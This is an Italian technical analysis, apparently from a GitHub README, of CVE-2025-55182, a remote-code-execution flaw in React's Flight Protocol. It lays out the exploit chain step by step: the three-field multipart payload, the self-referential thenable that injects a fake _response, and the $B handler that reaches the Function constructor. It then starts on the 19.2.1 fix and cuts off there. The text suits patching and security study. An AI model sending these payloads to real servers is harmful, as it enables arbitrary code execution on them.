
Analisi tecnica dettagliata e proof-of-concept exploit per CVE-2025-55182, una vulnerabilità RCE critica in React's Flight Protocol. Copre path traversal, fake chunk injection e tecniche di bypass WAF.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 è una vulnerabilità RCE critica nel Flight Protocol di React. La catena d'attacco combina path traversal + fake chunk injection + $B handler abuse per eseguire Function(attacker_code).
Un grande ringraziamento a maple3142 per la catena di sfruttamento funzionante!
L'exploit utilizza tre campi del modulo per costruire un payload malevolo:
then autoriferito (campo 1 $@0 → campo 0)_response con _formData.get impostato a $1:constructor:constructor$B che chiama response._formData.get(response._prefix + id)_formData.get → Function, eseguendo Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Componenti Chiave
| Componente | Scopo |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable auto-referenziale; il chunk 1 (`$@0`) punta di nuovo al chunk 0 |
| `status: "resolved_model"` | Rende l'oggetto simile a un chunk React valido |
| `reason: -1` | Imposta rootReference a undefined (evita conflitti di riferimento) |
| `value: '{"then":"$B1337"}'` | Payload annidato che attiva il gestore `$B` |
| `_response._prefix` | Contiene la stringa di codice RCE |
| `_response._chunks: "$Q2"` | Mappa vuota per prevenire crash durante l'elaborazione dei chunk |
| `_response._formData.get` | Punta a `Function` tramite `$1:constructor:constructor` |
### Approfondimento dei Componenti
#### Struttura del Campo Modulo
L'exploit utilizza tre campi modulo con riferimenti circolari:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)Il then: "$1:__proto__:then" crea un auto-riferimento che si risolve in una funzione reale:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Perché questo è critico:**
1. `then` risolve in `Chunk.prototype.then` - una funzione invocabile reale
2. Questo rende l'oggetto falso un thenable valido
3. Quando viene atteso, JS chiama `obj.then(resolve, reject)`
4. `Chunk.prototype.then` viene eseguito con l'oggetto falso come `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) utilizza this._response - il falso _response dell'attaccante:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Senza l'autoriferimento**, il falso `_response` non verrebbe mai utilizzato. L'autoriferimento fa sì che `Chunk.prototype.then` tratti l'oggetto dell'attaccante come un vero Chunk.
#### Trigger Thenable a Due Stadi (`value`)
Il campo `value` contiene una stringa JSON nidificata con un altro thenable:```json
{"then":"$B1337"}
Stage 1: Il then auto-referenziale dell'oggetto esterno attiva l'elaborazione dei blocchi
Stage 2: Quando React risolve il modello, analizza value e incontra un altro thenable con then: "$B1337". Il prefisso $B attiva il gestore:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` è `"$1:constructor:constructor"` → `getOutlinedModel()` si risolve in `Function`.
Diventa: `Function(code + "1337")` → JS valido perché `1337` è solo un'espressione finale.
#### Padding Difensivo (`_chunks`)
Il finto `_response` necessita di una proprietà `_chunks` valida per evitare crash:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Il codice interno di React potrebbe accedere a response._chunks.get() o response._chunks.has() durante l'elaborazione. Una mappa vuota soddisfa queste chiamate senza errori, consentendo l'esecuzione di raggiungere il gestore vulnerabile $B.
| Percorso | Funzione | Scopo nello sfruttamento |
|---|---|---|
| Path Traversal | getOutlinedModel() | Risolve $1:constructor:constructor → Function |
Fake _response Injection | initializeModelChunk() | Utilizza il chunk._response dell'attaccante |
Gestore $B | parseModelString() | Chiama _formData.get(_prefix + id) → RCE |
decodeReply() è il punto di ingresso, non vulnerabile di per sé.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Utilizzo delle risposte fittizie** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## La correzione (19.2.1)
La patch include molteplici correzioni:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Correzione critica ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);